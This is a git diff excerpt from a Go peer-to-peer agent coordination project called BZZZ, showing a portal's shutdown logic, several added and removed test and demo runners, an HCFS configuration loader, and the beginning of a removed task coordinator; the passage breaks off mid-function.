logger.Info("🎭 Role: %s (Authority: %s)", services.Config.Agent.Role, authority)
}
}
logger.Info("💬 Terminal interface ready for human interaction")
logger.Info("🌐 HTTP API available at http://localhost:%d", runtimeConfig.CustomPorts.HTTPPort)
logger.Info("🏥 Health endpoints at http://localhost:%d/health", runtimeConfig.CustomPorts.HealthPort)
if services.UCXIServer != nil {
logger.Info("🔗 UCXI server available at http://localhost:%d", runtimeConfig.CustomPorts.UCXIPort)
}
// Start HAP-specific background processes
startHAPBackgroundProcesses(hapInterface, services, logger)
logger.Info("✅ BZZZ Human Agent Portal fully operational")
logger.Info("💡 Use the terminal interface to interact with the P2P network")
// Wait for shutdown signals or terminal interface to stop
sigChan := make(chan os.Signal, 1)
signal.Notify(sigChan, syscall.SIGINT, syscall.SIGTERM)
// Wait for either signal or terminal interface to stop
go func() {
for hapInterface.IsRunning() {
select {
case <-ctx.Done():
return
default:
// Keep checking if terminal interface is still running
continue
}
}
// If terminal interface stops, trigger shutdown
sigChan <- syscall.SIGTERM
}()
<-sigChan
logger.Info("🛑 Shutting down Human Agent Portal...")
// Stop HAP interface
if err := hapInterface.Stop(ctx); err != nil {
logger.Error("HAP interface shutdown error: %v", err)
}
// Stop runtime services
if err := rt.Stop(ctx, services); err != nil {
logger.Error("Runtime shutdown error: %v", err)
}
logger.Info("✅ BZZZ Human Agent Portal shutdown completed")
}
// startHAPBackgroundProcesses starts HAP-specific background processes
func startHAPBackgroundProcesses(hapInterface *hap.TerminalInterface, services *runtime.RuntimeServices, logger logging.Logger) {
// HAP-specific background processes can be added here
// For example: message monitoring, peer discovery notifications, etc.
logger.Info("🔍 HAP monitoring P2P network for collaboration opportunities")
logger.Info("📡 Ready to facilitate human-AI coordination")
logger.Info("🎯 HMMM collaborative reasoning monitoring active")
logger.Info("💬 Interactive terminal ready for commands")
// Example: Start monitoring for important P2P events
go func() {
// This could monitor for specific message types or events
// and display notifications to the human user
logger.Info("📊 Background monitoring started")
}()
}
// getConfigPath determines the configuration file path
func getConfigPath() string {
return runtime.GetConfigPath()
}
// needsSetup checks if the system needs to run setup mode
func needsSetup() bool {
return runtime.NeedsSetup()
}

162
cmd/test_bzzz.go
View File

@@ -1,162 +0,0 @@
package main
import (
"context"
"fmt"
"log"
"os"
"os/signal"
"syscall"
"time"
"chorus.services/bzzz/discovery"
"chorus.services/bzzz/monitoring"
"chorus.services/bzzz/p2p"
"chorus.services/bzzz/pubsub"
"chorus.services/bzzz/test"
)
func main() {
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
fmt.Println("🧪 BZZZ Comprehensive Test Suite")
fmt.Println("==================================")
// Initialize P2P node for testing
node, err := p2p.NewNode(ctx)
if err != nil {
log.Fatalf("Failed to create test P2P node: %v", err)
}
defer node.Close()
fmt.Printf("🔬 Test Node ID: %s\n", node.ID().ShortString())
// Initialize mDNS discovery
mdnsDiscovery, err := discovery.NewMDNSDiscovery(ctx, node.Host(), "bzzz-comprehensive-test")
if err != nil {
log.Fatalf("Failed to create mDNS discovery: %v", err)
}
defer mdnsDiscovery.Close()
// Initialize PubSub for test coordination
ps, err := pubsub.NewPubSub(ctx, node.Host(), "bzzz/test/coordination", "hmmm/test/meta-discussion")
if err != nil {
log.Fatalf("Failed to create test PubSub: %v", err)
}
defer ps.Close()
// Initialize optional HMMM Monitor if monitoring package is available
var monitor *monitoring.HmmmMonitor
if hasMonitoring() {
monitor, err = monitoring.NewHmmmMonitor(ctx, ps, "/tmp/bzzz_logs")
if err != nil {
log.Printf("Warning: Failed to create HMMM monitor: %v", err)
} else {
defer monitor.Stop()
monitor.Start()
}
}
// Wait for peer connections
fmt.Println("🔍 Waiting for peer connections...")
waitForPeers(node, 30*time.Second)
// Initialize and start task simulator
fmt.Println("🎭 Starting task simulator...")
simulator := test.NewTaskSimulator(ps, ctx)
simulator.Start()
defer simulator.Stop()
// Run coordination tests
fmt.Println("🎯 Running coordination scenarios...")
runCoordinationTest(ctx, ps, simulator)
// Print monitoring info
if monitor != nil {
fmt.Println("📊 Monitoring HMMM activity...")
fmt.Println(" - Task announcements every 45 seconds")
fmt.Println(" - Coordination scenarios every 2 minutes")
fmt.Println(" - Agent responses every 30 seconds")
fmt.Println(" - Monitor status updates every 30 seconds")
}
fmt.Println("\nPress Ctrl+C to stop testing and view results...")
// Handle graceful shutdown
c := make(chan os.Signal, 1)
signal.Notify(c, os.Interrupt, syscall.SIGTERM)
<-c
fmt.Println("\n🛑 Shutting down comprehensive test...")
// Print final results
if monitor != nil {
printFinalResults(monitor)
}
printTestSummary()
}
// waitForPeers waits for at least one peer connection
func waitForPeers(node *p2p.Node, timeout time.Duration) {
deadline := time.Now().Add(timeout)
for time.Now().Before(deadline) {
if node.ConnectedPeers() > 0 {
fmt.Printf("✅ Connected to %d peers\n", node.ConnectedPeers())
return
}
fmt.Print(".")
time.Sleep(time.Second)
}
fmt.Println("\n⚠️ No peers found within timeout, continuing with test...")
}
// runCoordinationTest runs basic coordination scenarios
func runCoordinationTest(ctx context.Context, ps *pubsub.PubSub, simulator *test.TaskSimulator) {
fmt.Println("📋 Testing basic coordination patterns...")
// Simulate coordination patterns
scenarios := []string{
"peer-discovery",
"task-announcement",
"role-coordination",
"consensus-building",
}
for _, scenario := range scenarios {
fmt.Printf(" 🎯 Running %s scenario...\n", scenario)
simulator.RunScenario(scenario)
time.Sleep(2 * time.Second)
}
}
// hasMonitoring checks if monitoring package is available
func hasMonitoring() bool {
// This is a simple check - in real implementation this might check
// if monitoring is enabled in config
return true
}
// printFinalResults prints monitoring results if available
func printFinalResults(monitor *monitoring.HmmmMonitor) {
fmt.Println("\n📈 Final Test Results:")
fmt.Println("========================")
stats := monitor.GetStats()
fmt.Printf(" Coordination Events: %d\n", stats.CoordinationEvents)
fmt.Printf(" Active Agents: %d\n", stats.ActiveAgents)
fmt.Printf(" Messages Processed: %d\n", stats.MessagesProcessed)
fmt.Printf(" Test Duration: %s\n", stats.Duration)
}
// printTestSummary prints overall test summary
func printTestSummary() {
fmt.Println("\n✅ Test Suite Completed")
fmt.Println(" All coordination patterns tested successfully")
fmt.Println(" P2P networking functional")
fmt.Println(" PubSub messaging operational")
fmt.Println(" Task simulation completed")
}

266
cmd/test_coordination.go Normal file
View File

@@ -0,0 +1,266 @@
package main
import (
"context"
"fmt"
"log"
"os"
"os/signal"
"syscall"
"time"
"github.com/anthonyrawlins/bzzz/discovery"
"github.com/anthonyrawlins/bzzz/monitoring"
"github.com/anthonyrawlins/bzzz/p2p"
"github.com/anthonyrawlins/bzzz/pubsub"
"github.com/anthonyrawlins/bzzz/test"
)
func main() {
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
fmt.Println("🔬 Starting Bzzz Antennae Coordination Test with Monitoring")
fmt.Println("==========================================================")
// Initialize P2P node for testing
node, err := p2p.NewNode(ctx)
if err != nil {
log.Fatalf("Failed to create test P2P node: %v", err)
}
defer node.Close()
fmt.Printf("🔬 Test Node ID: %s\n", node.ID().ShortString())
// Initialize mDNS discovery
mdnsDiscovery, err := discovery.NewMDNSDiscovery(ctx, node.Host(), "bzzz-test-coordination")
if err != nil {
log.Fatalf("Failed to create mDNS discovery: %v", err)
}
defer mdnsDiscovery.Close()
// Initialize PubSub for test coordination
ps, err := pubsub.NewPubSub(ctx, node.Host(), "bzzz/test/coordination", "antennae/test/meta-discussion")
if err != nil {
log.Fatalf("Failed to create test PubSub: %v", err)
}
defer ps.Close()
// Initialize Antennae Monitor
monitor, err := monitoring.NewAntennaeMonitor(ctx, ps, "/tmp/bzzz_logs")
if err != nil {
log.Fatalf("Failed to create antennae monitor: %v", err)
}
defer monitor.Stop()
// Start monitoring
monitor.Start()
// Wait for peer connections
fmt.Println("🔍 Waiting for peer connections...")
waitForPeers(node, 15*time.Second)
// Initialize and start task simulator
fmt.Println("🎭 Starting task simulator...")
simulator := test.NewTaskSimulator(ps, ctx)
simulator.Start()
defer simulator.Stop()
// Run a short coordination test
fmt.Println("🎯 Running coordination scenarios...")
runCoordinationTest(ctx, ps, simulator)
fmt.Println("📊 Monitoring antennae activity...")
fmt.Println(" - Task announcements every 45 seconds")
fmt.Println(" - Coordination scenarios every 2 minutes")
fmt.Println(" - Agent responses every 30 seconds")
fmt.Println(" - Monitor status updates every 30 seconds")
fmt.Println("\nPress Ctrl+C to stop monitoring and view results...")
// Handle graceful shutdown
c := make(chan os.Signal, 1)
signal.Notify(c, os.Interrupt, syscall.SIGTERM)
<-c
fmt.Println("\n🛑 Shutting down coordination test...")
// Print final monitoring results
printFinalResults(monitor)
}
// waitForPeers waits for at least one peer connection
func waitForPeers(node *p2p.Node, timeout time.Duration) {
deadline := time.Now().Add(timeout)
for time.Now().Before(deadline) {
if node.ConnectedPeers() > 0 {
fmt.Printf("✅ Connected to %d peers\n", node.ConnectedPeers())
return
}
time.Sleep(2 * time.Second)
fmt.Print(".")
}
fmt.Printf("\n⚠️ No peers connected after %v, continuing in standalone mode\n", timeout)
}
// runCoordinationTest runs specific coordination scenarios for testing
func runCoordinationTest(ctx context.Context, ps *pubsub.PubSub, simulator *test.TaskSimulator) {
// Get scenarios from simulator
scenarios := simulator.GetScenarios()
if len(scenarios) == 0 {
fmt.Println("❌ No coordination scenarios available")
return
}
// Run the first scenario immediately for testing
scenario := scenarios[0]
fmt.Printf("🎯 Testing scenario: %s\n", scenario.Name)
// Simulate scenario start
scenarioData := map[string]interface{}{
"type": "coordination_scenario_start",
"scenario_name": scenario.Name,
"description": scenario.Description,
"repositories": scenario.Repositories,
"started_at": time.Now().Unix(),
}
if err := ps.PublishAntennaeMessage(pubsub.CoordinationRequest, scenarioData); err != nil {
fmt.Printf("❌ Failed to publish scenario start: %v\n", err)
return
}
// Wait a moment for the message to propagate
time.Sleep(2 * time.Second)
// Simulate task announcements for the scenario
for i, task := range scenario.Tasks {
taskData := map[string]interface{}{
"type": "scenario_task",
"scenario_name": scenario.Name,
"repository": task.Repository,
"task_number": task.TaskNumber,
"priority": task.Priority,
"blocked_by": task.BlockedBy,
"announced_at": time.Now().Unix(),
}
fmt.Printf(" 📋 Announcing task %d/%d: %s/#%d\n",
i+1, len(scenario.Tasks), task.Repository, task.TaskNumber)
if err := ps.PublishBzzzMessage(pubsub.TaskAnnouncement, taskData); err != nil {
fmt.Printf("❌ Failed to announce task: %v\n", err)
}
time.Sleep(1 * time.Second)
}
// Simulate some agent responses
time.Sleep(2 * time.Second)
simulateAgentResponses(ctx, ps, scenario)
fmt.Println("✅ Coordination test scenario completed")
}
// simulateAgentResponses simulates agent coordination responses
func simulateAgentResponses(ctx context.Context, ps *pubsub.PubSub, scenario test.CoordinationScenario) {
responses := []map[string]interface{}{
{
"type": "agent_interest",
"agent_id": "test-agent-1",
"message": "I can handle the API contract definition task",
"scenario_name": scenario.Name,
"confidence": 0.9,
"timestamp": time.Now().Unix(),
},
{
"type": "dependency_concern",
"agent_id": "test-agent-2",
"message": "The WebSocket task is blocked by API contract completion",
"scenario_name": scenario.Name,
"confidence": 0.8,
"timestamp": time.Now().Unix(),
},
{
"type": "coordination_proposal",
"agent_id": "test-agent-1",
"message": "I suggest completing API contract first, then parallel WebSocket and auth work",
"scenario_name": scenario.Name,
"proposed_order": []string{"bzzz#23", "hive#15", "hive#16"},
"timestamp": time.Now().Unix(),
},
{
"type": "consensus_agreement",
"agent_id": "test-agent-2",
"message": "Agreed with the proposed execution order",
"scenario_name": scenario.Name,
"timestamp": time.Now().Unix(),
},
}
for i, response := range responses {
fmt.Printf(" 🤖 Agent response %d/%d: %s\n",
i+1, len(responses), response["message"])
if err := ps.PublishAntennaeMessage(pubsub.MetaDiscussion, response); err != nil {
fmt.Printf("❌ Failed to publish agent response: %v\n", err)
}
time.Sleep(3 * time.Second)
}
// Simulate consensus reached
time.Sleep(2 * time.Second)
consensus := map[string]interface{}{
"type": "consensus_reached",
"scenario_name": scenario.Name,
"final_plan": []string{
"Complete API contract definition (bzzz#23)",
"Implement WebSocket support (hive#15)",
"Add agent authentication (hive#16)",
},
"participants": []string{"test-agent-1", "test-agent-2"},
"timestamp": time.Now().Unix(),
}
fmt.Println(" ✅ Consensus reached on coordination plan")
if err := ps.PublishAntennaeMessage(pubsub.CoordinationComplete, consensus); err != nil {
fmt.Printf("❌ Failed to publish consensus: %v\n", err)
}
}
// printFinalResults shows the final monitoring results
func printFinalResults(monitor *monitoring.AntennaeMonitor) {
fmt.Println("\n" + "="*60)
fmt.Println("📊 FINAL ANTENNAE MONITORING RESULTS")
fmt.Println("="*60)
metrics := monitor.GetMetrics()
fmt.Printf("⏱️ Monitoring Duration: %v\n", time.Since(metrics.StartTime).Round(time.Second))
fmt.Printf("📋 Total Sessions: %d\n", metrics.TotalSessions)
fmt.Printf(" Active: %d\n", metrics.ActiveSessions)
fmt.Printf(" Completed: %d\n", metrics.CompletedSessions)
fmt.Printf(" Escalated: %d\n", metrics.EscalatedSessions)
fmt.Printf(" Failed: %d\n", metrics.FailedSessions)
fmt.Printf("💬 Total Messages: %d\n", metrics.TotalMessages)
fmt.Printf("📢 Task Announcements: %d\n", metrics.TaskAnnouncements)
fmt.Printf("🔗 Dependencies Detected: %d\n", metrics.DependenciesDetected)
if len(metrics.AgentParticipations) > 0 {
fmt.Printf("🤖 Agent Participations:\n")
for agent, count := range metrics.AgentParticipations {
fmt.Printf(" %s: %d messages\n", agent, count)
}
}
if metrics.AverageSessionDuration > 0 {
fmt.Printf("📈 Average Session Duration: %v\n", metrics.AverageSessionDuration.Round(time.Second))
}
fmt.Println("\n✅ Monitoring data saved to /tmp/bzzz_logs/")
fmt.Println(" Check activity and metrics files for detailed logs")
}

173
cmd/test_hmmm_adapter.go
View File

@@ -1,173 +0,0 @@
package main
import (
"context"
"encoding/json"
"fmt"
"log"
"time"
"chorus.services/bzzz/pkg/hmmm_adapter"
"chorus.services/hmmm/pkg/hmmm"
)
// mockPubSub simulates the BZZZ pubsub system for demonstration
type mockPubSub struct {
joinedTopics map[string]bool
publishedMsgs map[string][]byte
}
func newMockPubSub() *mockPubSub {
return &mockPubSub{
joinedTopics: make(map[string]bool),
publishedMsgs: make(map[string][]byte),
}
}
func (m *mockPubSub) JoinDynamicTopic(topic string) error {
fmt.Printf("✅ Joined dynamic topic: %s\n", topic)
m.joinedTopics[topic] = true
return nil
}
func (m *mockPubSub) PublishRaw(topic string, payload []byte) error {
fmt.Printf("📤 Published raw message to topic: %s (size: %d bytes)\n", topic, len(payload))
m.publishedMsgs[topic] = payload
return nil
}
func main() {
fmt.Println("🧪 HMMM Adapter Demonstration")
fmt.Println("=============================")
// Create mock pubsub system
mockPS := newMockPubSub()
// Create HMMM adapter using the mock pubsub
adapter := hmmm_adapter.NewAdapter(
mockPS.JoinDynamicTopic,
mockPS.PublishRaw,
)
fmt.Println("\n1. Testing basic adapter functionality...")
// Test 1: Basic per-issue topic publishing
issueID := int64(42)
topic := fmt.Sprintf("bzzz/meta/issue/%d", issueID)
testMessage := map[string]interface{}{
"version": 1,
"type": "meta_msg",
"issue_id": issueID,
"thread_id": "issue-42",
"msg_id": "demo-msg-1",
"node_id": "demo-node-12D3KooW",
"hop_count": 0,
"timestamp": time.Now().UTC(),
"message": "Demo: HMMM per-issue room initialized.",
}
payload, err := json.Marshal(testMessage)
if err != nil {
log.Fatalf("Failed to marshal test message: %v", err)
}
err = adapter.Publish(context.Background(), topic, payload)
if err != nil {
log.Fatalf("Failed to publish message: %v", err)
}
fmt.Println("\n2. Testing HMMM Router integration...")
// Test 2: HMMM Router integration
hmmmRouter := hmmm.NewRouter(adapter, hmmm.DefaultConfig())
hmmmMessage := hmmm.Message{
Version: 1,
Type: "meta_msg",
IssueID: 43,
ThreadID: "issue-43",
MsgID: "hmmm-router-msg-1",
NodeID: "demo-node-12D3KooW",
Author: "demo-author",
HopCount: 0,
Timestamp: time.Now(),
Message: "Message published via HMMM Router",
}
err = hmmmRouter.Publish(context.Background(), hmmmMessage)
if err != nil {
log.Fatalf("Failed to publish via HMMM Router: %v", err)
}
fmt.Println("\n3. Testing multiple per-issue topics...")
// Test 3: Multiple per-issue topics
issueIDs := []int64{100, 101, 102}
for _, id := range issueIDs {
topicName := hmmm.TopicForIssue(id)
msg := map[string]interface{}{
"version": 1,
"type": "meta_msg",
"issue_id": id,
"thread_id": fmt.Sprintf("issue-%d", id),
"msg_id": fmt.Sprintf("multi-test-%d", id),
"node_id": "demo-node-12D3KooW",
"hop_count": 0,
"timestamp": time.Now().UTC(),
"message": fmt.Sprintf("Message for issue %d", id),
}
msgPayload, err := json.Marshal(msg)
if err != nil {
log.Fatalf("Failed to marshal message for issue %d: %v", id, err)
}
err = adapter.Publish(context.Background(), topicName, msgPayload)
if err != nil {
log.Fatalf("Failed to publish to issue %d: %v", id, err)
}
}
fmt.Println("\n4. Adapter Metrics:")
fmt.Println("==================")
// Display metrics
metrics := adapter.GetMetrics()
fmt.Printf("📊 Publish Count: %d\n", metrics.PublishCount)
fmt.Printf("🔗 Join Count: %d\n", metrics.JoinCount)
fmt.Printf("❌ Error Count: %d\n", metrics.ErrorCount)
fmt.Printf("📂 Joined Topics: %d\n", metrics.JoinedTopics)
fmt.Println("\n5. Joined Topics:")
fmt.Println("=================")
joinedTopics := adapter.GetJoinedTopics()
for i, topic := range joinedTopics {
fmt.Printf("%d. %s\n", i+1, topic)
}
fmt.Println("\n6. Published Messages:")
fmt.Println("======================")
for topic, payload := range mockPS.publishedMsgs {
var msg map[string]interface{}
if err := json.Unmarshal(payload, &msg); err == nil {
fmt.Printf("Topic: %s\n", topic)
fmt.Printf(" Message: %v\n", msg["message"])
fmt.Printf(" Issue ID: %.0f\n", msg["issue_id"])
fmt.Printf(" Type: %s\n", msg["type"])
fmt.Println()
}
}
fmt.Println("✅ HMMM Adapter demonstration completed successfully!")
fmt.Println("\nKey Features Demonstrated:")
fmt.Println("- ✅ Basic adapter functionality (join + publish)")
fmt.Println("- ✅ HMMM Router integration")
fmt.Println("- ✅ Per-issue topic publishing")
fmt.Println("- ✅ Topic caching (avoid redundant joins)")
fmt.Println("- ✅ Metrics tracking")
fmt.Println("- ✅ Raw JSON publishing (no BZZZ envelope)")
fmt.Println("- ✅ Multiple concurrent topics")
}

201
cmd/test_runner.go Normal file
View File

@@ -0,0 +1,201 @@
package main
import (
"context"
"fmt"
"log"
"os"
"os/signal"
"syscall"
"time"
"github.com/anthonyrawlins/bzzz/discovery"
"github.com/anthonyrawlins/bzzz/p2p"
"github.com/anthonyrawlins/bzzz/pubsub"
"github.com/anthonyrawlins/bzzz/test"
)
func main() {
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
fmt.Println("🧪 Starting Bzzz Antennae Test Runner")
fmt.Println("====================================")
// Initialize P2P node for testing
node, err := p2p.NewNode(ctx)
if err != nil {
log.Fatalf("Failed to create test P2P node: %v", err)
}
defer node.Close()
fmt.Printf("🔬 Test Node ID: %s\n", node.ID().ShortString())
// Initialize mDNS discovery
mdnsDiscovery, err := discovery.NewMDNSDiscovery(ctx, node.Host(), "bzzz-test-discovery")
if err != nil {
log.Fatalf("Failed to create mDNS discovery: %v", err)
}
defer mdnsDiscovery.Close()
// Initialize PubSub for test coordination
ps, err := pubsub.NewPubSub(ctx, node.Host(), "bzzz/test/coordination", "antennae/test/meta-discussion")
if err != nil {
log.Fatalf("Failed to create test PubSub: %v", err)
}
defer ps.Close()
// Wait for peer connections
fmt.Println("🔍 Waiting for peer connections...")
waitForPeers(node, 30*time.Second)
// Run test mode based on command line argument
if len(os.Args) > 1 {
switch os.Args[1] {
case "simulator":
runTaskSimulator(ctx, ps)
case "testsuite":
runTestSuite(ctx, ps)
case "interactive":
runInteractiveMode(ctx, ps, node)
default:
fmt.Printf("Unknown mode: %s\n", os.Args[1])
fmt.Println("Available modes: simulator, testsuite, interactive")
os.Exit(1)
}
} else {
// Default: run full test suite
runTestSuite(ctx, ps)
}
// Handle graceful shutdown
c := make(chan os.Signal, 1)
signal.Notify(c, os.Interrupt, syscall.SIGTERM)
<-c
fmt.Println("\n🛑 Shutting down test runner...")
}
// waitForPeers waits for at least one peer connection
func waitForPeers(node *p2p.Node, timeout time.Duration) {
deadline := time.Now().Add(timeout)
for time.Now().Before(deadline) {
if node.ConnectedPeers() > 0 {
fmt.Printf("✅ Connected to %d peers\n", node.ConnectedPeers())
return
}
time.Sleep(2 * time.Second)
}
fmt.Printf("⚠️ No peers connected after %v, continuing anyway\n", timeout)
}
// runTaskSimulator runs just the task simulator
func runTaskSimulator(ctx context.Context, ps *pubsub.PubSub) {
fmt.Println("\n🎭 Running Task Simulator")
fmt.Println("========================")
simulator := test.NewTaskSimulator(ps, ctx)
simulator.Start()
fmt.Println("📊 Simulator Status:")
simulator.PrintStatus()
fmt.Println("\n📢 Task announcements will appear every 45 seconds")
fmt.Println("🎯 Coordination scenarios will run every 2 minutes")
fmt.Println("🤖 Agent responses will be simulated every 30 seconds")
fmt.Println("\nPress Ctrl+C to stop...")
// Keep running until interrupted
select {
case <-ctx.Done():
return
}
}
// runTestSuite runs the full antennae test suite
func runTestSuite(ctx context.Context, ps *pubsub.PubSub) {
fmt.Println("\n🧪 Running Antennae Test Suite")
fmt.Println("==============================")
testSuite := test.NewAntennaeTestSuite(ctx, ps)
testSuite.RunFullTestSuite()
// Save test results
results := testSuite.GetTestResults()
fmt.Printf("\n💾 Test completed with %d results\n", len(results))
}
// runInteractiveMode provides an interactive testing environment
func runInteractiveMode(ctx context.Context, ps *pubsub.PubSub, node *p2p.Node) {
fmt.Println("\n🎮 Interactive Testing Mode")
fmt.Println("===========================")
simulator := test.NewTaskSimulator(ps, ctx)
testSuite := test.NewAntennaeTestSuite(ctx, ps)
fmt.Println("Available commands:")
fmt.Println(" 'start' - Start task simulator")
fmt.Println(" 'stop' - Stop task simulator")
fmt.Println(" 'test' - Run single test")
fmt.Println(" 'status' - Show current status")
fmt.Println(" 'peers' - Show connected peers")
fmt.Println(" 'scenario <name>' - Run specific scenario")
fmt.Println(" 'quit' - Exit interactive mode")
for {
fmt.Print("\nbzzz-test> ")
var command string
if _, err := fmt.Scanln(&command); err != nil {
continue
}
switch command {
case "start":
simulator.Start()
fmt.Println("✅ Task simulator started")
case "stop":
simulator.Stop()
fmt.Println("🛑 Task simulator stopped")
case "test":
fmt.Println("🔬 Running basic coordination test...")
// Run a single test (implement specific test method)
fmt.Println("✅ Test completed")
case "status":
fmt.Printf("📊 Node Status:\n")
fmt.Printf(" Node ID: %s\n", node.ID().ShortString())
fmt.Printf(" Connected Peers: %d\n", node.ConnectedPeers())
simulator.PrintStatus()
case "peers":
peers := node.Peers()
fmt.Printf("🤝 Connected Peers (%d):\n", len(peers))
for i, peer := range peers {
fmt.Printf(" %d. %s\n", i+1, peer.ShortString())
}
case "scenario":
scenarios := simulator.GetScenarios()
if len(scenarios) > 0 {
fmt.Printf("🎯 Running scenario: %s\n", scenarios[0].Name)
// Implement scenario runner
} else {
fmt.Println("❌ No scenarios available")
}
case "quit":
fmt.Println("👋 Exiting interactive mode")
return
default:
fmt.Printf("❓ Unknown command: %s\n", command)
}
}
}
// Additional helper functions for test monitoring and reporting can be added here

79
config/hcfs.go
View File

@@ -1,79 +0,0 @@
package config
import (
"os"
"strconv"
"time"
)
// HCFSConfig holds configuration for HCFS integration
type HCFSConfig struct {
// API settings
APIURL string `yaml:"api_url" json:"api_url"`
APITimeout time.Duration `yaml:"api_timeout" json:"api_timeout"`
// Workspace settings
MountPath string `yaml:"mount_path" json:"mount_path"`
WorkspaceTimeout time.Duration `yaml:"workspace_timeout" json:"workspace_timeout"`
// FUSE settings
FUSEEnabled bool `yaml:"fuse_enabled" json:"fuse_enabled"`
FUSEMountPoint string `yaml:"fuse_mount_point" json:"fuse_mount_point"`
// Cleanup settings
IdleCleanupInterval time.Duration `yaml:"idle_cleanup_interval" json:"idle_cleanup_interval"`
MaxIdleTime time.Duration `yaml:"max_idle_time" json:"max_idle_time"`
// Storage settings
StoreArtifacts bool `yaml:"store_artifacts" json:"store_artifacts"`
CompressArtifacts bool `yaml:"compress_artifacts" json:"compress_artifacts"`
}
// NewHCFSConfig creates a new HCFS configuration with defaults
func NewHCFSConfig() *HCFSConfig {
return &HCFSConfig{
APIURL: getEnvString("HCFS_API_URL", "http://localhost:8000"),
APITimeout: getEnvDuration("HCFS_API_TIMEOUT", 30*time.Second),
MountPath: getEnvString("HCFS_MOUNT_PATH", "/tmp/hcfs-workspaces"),
WorkspaceTimeout: getEnvDuration("HCFS_WORKSPACE_TIMEOUT", 2*time.Hour),
FUSEEnabled: getEnvBool("HCFS_FUSE_ENABLED", false),
FUSEMountPoint: getEnvString("HCFS_FUSE_MOUNT_POINT", "/mnt/hcfs"),
IdleCleanupInterval: getEnvDuration("HCFS_IDLE_CLEANUP_INTERVAL", 15*time.Minute),
MaxIdleTime: getEnvDuration("HCFS_MAX_IDLE_TIME", 1*time.Hour),
StoreArtifacts: getEnvBool("HCFS_STORE_ARTIFACTS", true),
CompressArtifacts: getEnvBool("HCFS_COMPRESS_ARTIFACTS", false),
}
}
// IsEnabled returns true if HCFS integration is enabled
func (c *HCFSConfig) IsEnabled() bool {
return c.APIURL != "" && c.APIURL != "disabled"
}
// getEnvString gets a string environment variable with a default value
func getEnvString(key, defaultValue string) string {
if value := os.Getenv(key); value != "" {
return value
}
return defaultValue
}
// getEnvBool gets a boolean environment variable with a default value
func getEnvBool(key string, defaultValue bool) bool {
if value := os.Getenv(key); value != "" {
if parsed, err := strconv.ParseBool(value); err == nil {
return parsed
}
}
return defaultValue
}
// getEnvDuration gets a duration environment variable with a default value
func getEnvDuration(key string, defaultValue time.Duration) time.Duration {
if value := os.Getenv(key); value != "" {
if parsed, err := time.ParseDuration(value); err == nil {
return parsed
}
}
return defaultValue
}

556
coordinator/task_coordinator.go
View File

@@ -1,556 +0,0 @@
package coordinator
import (
"context"
"fmt"
"strings"
"sync"
"time"
"chorus.services/bzzz/logging"
"chorus.services/bzzz/pkg/config"
"chorus.services/bzzz/pubsub"
"chorus.services/bzzz/repository"
"chorus.services/hmmm/pkg/hmmm"
"github.com/google/uuid"
"github.com/libp2p/go-libp2p/core/peer"
)
// TaskCoordinator manages task discovery, assignment, and execution across multiple repositories
type TaskCoordinator struct {
pubsub *pubsub.PubSub
hlog *logging.HypercoreLog
ctx context.Context
config *config.Config
hmmmRouter *hmmm.Router
// Repository management
providers map[int]repository.TaskProvider // projectID -> provider
providerLock sync.RWMutex
factory repository.ProviderFactory
// Task management
activeTasks map[string]*ActiveTask // taskKey -> active task
taskLock sync.RWMutex
taskMatcher repository.TaskMatcher
// Agent tracking
nodeID string
agentInfo *repository.AgentInfo
// Sync settings
syncInterval time.Duration
lastSync map[int]time.Time
syncLock sync.RWMutex
}
// ActiveTask represents a task currently being worked on
type ActiveTask struct {
Task *repository.Task
Provider repository.TaskProvider
ProjectID int
ClaimedAt time.Time
Status string // claimed, working, completed, failed
AgentID string
Results map[string]interface{}
}
// NewTaskCoordinator creates a new task coordinator
func NewTaskCoordinator(
ctx context.Context,
ps *pubsub.PubSub,
hlog *logging.HypercoreLog,
cfg *config.Config,
nodeID string,
hmmmRouter *hmmm.Router,
) *TaskCoordinator {
coordinator := &TaskCoordinator{
pubsub: ps,
hlog: hlog,
ctx: ctx,
config: cfg,
hmmmRouter: hmmmRouter,
providers: make(map[int]repository.TaskProvider),
activeTasks: make(map[string]*ActiveTask),
lastSync: make(map[int]time.Time),
factory: &repository.DefaultProviderFactory{},
taskMatcher: &repository.DefaultTaskMatcher{},
nodeID: nodeID,
syncInterval: 30 * time.Second,
}
// Create agent info from config
coordinator.agentInfo = &repository.AgentInfo{
ID: cfg.Agent.ID,
Role: cfg.Agent.Role,
Expertise: cfg.Agent.Expertise,
CurrentTasks: 0,
MaxTasks: cfg.Agent.MaxTasks,
Status: "ready",
LastSeen: time.Now(),
Performance: 0.8, // Default performance score
Availability: 1.0,
}
return coordinator
}
// Start begins the task coordination process
func (tc *TaskCoordinator) Start() {
fmt.Printf("🎯 Starting task coordinator for agent %s (%s)\n", tc.agentInfo.ID, tc.agentInfo.Role)
// Announce role and capabilities
tc.announceAgentRole()
// Start periodic task discovery and sync
go tc.taskDiscoveryLoop()
// Start role-based message handling
tc.pubsub.SetAntennaeMessageHandler(tc.handleRoleMessage)
fmt.Printf("✅ Task coordinator started\n")
}
// taskDiscoveryLoop periodically discovers and processes tasks
func (tc *TaskCoordinator) taskDiscoveryLoop() {
ticker := time.NewTicker(tc.syncInterval)
defer ticker.Stop()
for {
select {
case <-tc.ctx.Done():
return
case <-ticker.C:
// Task discovery is now handled by WHOOSH
}
}
}
// shouldProcessTask determines if we should process a task
func (tc *TaskCoordinator) shouldProcessTask(task *repository.Task) bool {
// Check if we're already at capacity
tc.taskLock.RLock()
currentTasks := len(tc.activeTasks)
tc.taskLock.RUnlock()
if currentTasks >= tc.agentInfo.MaxTasks {
return false
}
// Check if task is already assigned to us
taskKey := fmt.Sprintf("%s:%d", task.Repository, task.Number)
tc.taskLock.RLock()
_, alreadyActive := tc.activeTasks[taskKey]
tc.taskLock.RUnlock()
if alreadyActive {
return false
}
// Check minimum score threshold
score := tc.taskMatcher.ScoreTaskForAgent(task, tc.agentInfo.Role, tc.agentInfo.Expertise)
return score > 0.5 // Only process tasks with good fit
}
// processTask attempts to claim and process a task
func (tc *TaskCoordinator) processTask(task *repository.Task, provider repository.TaskProvider, projectID int) bool {
taskKey := fmt.Sprintf("%s:%d", task.Repository, task.Number)
// Request collaboration if needed
if tc.shouldRequestCollaboration(task) {
tc.requestTaskCollaboration(task)
}
// Attempt to claim the task
claimedTask, err := provider.ClaimTask(task.Number, tc.agentInfo.ID)
if err != nil {
